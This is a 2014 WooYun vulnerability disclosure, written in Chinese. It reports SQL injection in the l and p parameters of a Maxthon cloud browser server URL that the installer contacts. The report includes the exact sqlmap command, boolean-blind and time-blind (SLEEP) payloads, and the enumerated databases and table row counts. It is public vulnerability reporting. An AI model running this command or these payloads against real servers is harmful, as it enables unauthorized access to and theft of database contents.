傲游云浏览器服务端SQL注射

漏洞详情

披露状态:

2014-05-03: 细节已通知厂商并且等待厂商处理中
2014-05-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

傲游云浏览器服务端SQL注射

详细说明:

在傲游官网下载最新版本的"傲游云浏览器"Windows版

01.jpg



运行安装程序后抓包可发现安装程序对如下地址发起了一次HTTP请求

http://bp.maxthon.com/gl?l=cn&p=max4&c=zh-cn



02.jpg



其中的l参数与p参数均存在SQL注射。

漏洞证明:

sqlmap.py -u "http://bp.maxthon.com/gl?l=cn&p=max4&c=zh-cn" --dbs --count -D "bind_promotion" --current-user --current-db



sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: l
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: l=cn' AND 9937=9937 AND 'kIdJ'='kIdJ&p=max4&c=zh-cn

Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: l=cn' AND SLEEP(5) AND 'CSpu'='CSpu&p=max4&c=zh-cn
---
back-end DBMS: MySQL 5.0.11
current user: 'bind_promotion@%'
current database: 'bind_promotion'
available databases [3]:
[*] bind_promotion
[*] information_schema
[*] test

Database: bind_promotion
+---------------+---------+
| Table | Entries |
+---------------+---------+
| bind_record | 18636 |
| bind_partner | 115 |
| bind_pn | 42 |
| bind_list | 16 |
| bind_partner2 | 11 |
| bind_admin | 2 |
+---------------+---------+

修复方案:

你们更专业:)

版权声明:转载请注明来源 超威蓝猫@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-05-03 20:48

厂商回复:

漏洞Rank:12 (WooYun评价)

最新状态:

暂无


漏洞评价: